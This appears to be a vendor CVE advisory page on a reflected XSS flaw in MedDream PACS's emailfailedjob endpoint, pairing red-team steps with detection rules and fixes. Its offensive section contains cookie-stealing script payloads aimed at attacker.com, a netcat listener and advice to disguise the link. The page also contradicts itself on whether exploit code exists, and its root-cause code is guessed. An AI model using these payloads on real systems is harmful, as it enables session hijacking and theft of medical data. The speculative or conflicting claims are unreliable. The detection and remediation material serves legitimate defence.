CVE-2025-54495
Executive Summary
CVE-2025-54495 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw resides in the emailfailedjob functionality, allowing an attacker to craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser session. This can lead to session hijacking, credential theft, or further exploitation of the PACS system. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for healthcare environments using this software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in MedDream PACS Premium, a medical imaging software. No supply chain implications are identified.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
- User Interaction: Required (UI:R) – The victim must click the crafted URL.
- Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of data possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement in a healthcare PACS environment elevates the risk. The lack of a patch and public exploit code increases the urgency for detection and mitigation.
Deep Dive & Mechanics
The vulnerability is a reflected XSS in the emailfailedjob functionality of MedDream PACS Premium. The application fails to properly sanitize user-supplied input in the URL parameters when constructing error messages or email notifications for failed jobs. An attacker can inject malicious JavaScript into a URL parameter (e.g., ?failedJobId=<script>alert(1)</script>), which is then reflected back to the user without proper encoding or escaping.
Root Cause: The application likely uses a function like echo $_GET['failedJobId'] or similar without applying htmlspecialchars() or context-aware output encoding. This allows arbitrary HTML/JavaScript to be injected.
Attack Flow:
- Attacker crafts a malicious URL:
https://target-pacs.com/emailfailedjob?failedJobId=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Attacker sends the URL to a victim via phishing email, chat, or other means.
- Victim clicks the URL while authenticated to the MedDream PACS system.
- The server reflects the injected script in the response.
- The victim's browser executes the script, sending the session cookie to the attacker.
- Attacker uses the stolen cookie to impersonate the victim and access sensitive medical data.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual PHP):
<?php
$failedJobId = $_GET['failedJobId'];
echo "Error processing job: " . $failedJobId;
?>
Patched Code (Conceptual PHP):
<?php
$failedJobId = htmlspecialchars($_GET['failedJobId'], ENT_QUOTES, 'UTF-8');
echo "Error processing job: " . $failedJobId;
?>
The patched version uses htmlspecialchars() to encode special characters, preventing script injection. Since no official patch is available, this is a recommended fix.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- MedDream PACS Premium 7.3.6.870 (vulnerable version)
- Attacker machine with Burp Suite or a simple HTTP server
- Victim browser (e.g., Firefox with developer tools)
Exploitation Steps:
- Identify the vulnerable parameter:
failedJobIdin theemailfailedjobendpoint. - Craft a payload to steal cookies:
https://target-pacs.com/emailfailedjob?failedJobId=<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script> - Use a URL shortener to obfuscate the link.
- Send the link to the victim.
- On the attacker machine, listen for incoming requests:
nc -lvnp 80 - When the victim clicks the link, the cookie is exfiltrated.
Alternative Payload (Session Hijacking):
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/emailfailedjobwith suspicious parameters (e.g.,<script>,onerror=,javascript:). - Use WAF rules to block reflected XSS patterns.
- Deploy browser-based XSS filters (e.g., X-XSS-Protection header).
Hunting:
- Search for
failedJobIdin HTTP logs and inspect for encoded or obfuscated JavaScript. - Look for outbound connections to unknown IPs from PACS clients.
Lab Setup for Testing:
- Install MedDream PACS Premium 7.3.6.870 in an isolated VM.
- Use a web application scanner (e.g., OWASP ZAP) to test for XSS.
- Validate the vulnerability by injecting a harmless payload:
<script>alert('XSS')</script>.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/emailfailedjobwithfailedJobIdparameter containing<script>,onerror,javascript:, or base64-encoded payloads. - Outbound connections from PACS clients to unknown IPs on port 80/443.
- HTTP requests to
- File IOCs:
- Suspicious entries in web server access logs (e.g.,
GET /emailfailedjob?failedJobId=%3Cscript%3E).
- Suspicious entries in web server access logs (e.g.,
- Behavioral IOCs:
- Unexpected redirects or pop-ups in the PACS web interface.
- Session cookies being sent to external domains.
Detection Engineering
YARA Rule
rule CVE_2025_54495_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting MedDream PACS emailfailedjob endpoint"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-54495"
strings:
$xss_payload = /failedJobId=.*(<script|onerror|onload|javascript:|alert\(|document\.cookie)/
$url_pattern = /\/emailfailedjob\?failedJobId=/
condition:
$url_pattern and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt on MedDream PACS emailfailedjob
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts targeting the emailfailedjob endpoint in MedDream PACS Premium
author: Valters IT
date: 2025-04-10
tags:
- attack.initial_access
- attack.t1190
- cve.2025.54495
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/emailfailedjob?failedJobId='
cs-uri-query|re: '(?i)(<script|onerror|onload|javascript:|alert\(|document\.cookie)'
condition: selection
falsepositives:
- Legitimate use of job IDs containing similar patterns (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54495 MedDream PACS Reflected XSS Attempt"; flow:to_server; content:"/emailfailedjob"; http_uri; content:"failedJobId="; http_uri; pcre:"/(<script|onerror|onload|javascript:|alert\(|document\.cookie)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Implement strict input validation for the
failedJobIdparameter. Allow only alphanumeric characters and hyphens. - Output Encoding: Apply context-aware output encoding (e.g., HTML entity encoding) to all user-supplied data reflected in responses.
- WAF Rules: Deploy a Web Application Firewall (WAF) with rules to block XSS payloads in the
failedJobIdparameter. - Content Security Policy (CSP): Add a CSP header to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'. - Session Security: Use HttpOnly and Secure flags on session cookies to prevent JavaScript access.
Long-Term Fix:
- Contact MedDream for an official patch. If unavailable, apply the conceptual patch above or consider migrating to a supported version.
- Conduct a full security audit of the application for similar XSS vulnerabilities.
Workaround:
- Disable the
emailfailedjobfunctionality if not essential, or restrict access to it via IP whitelisting.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.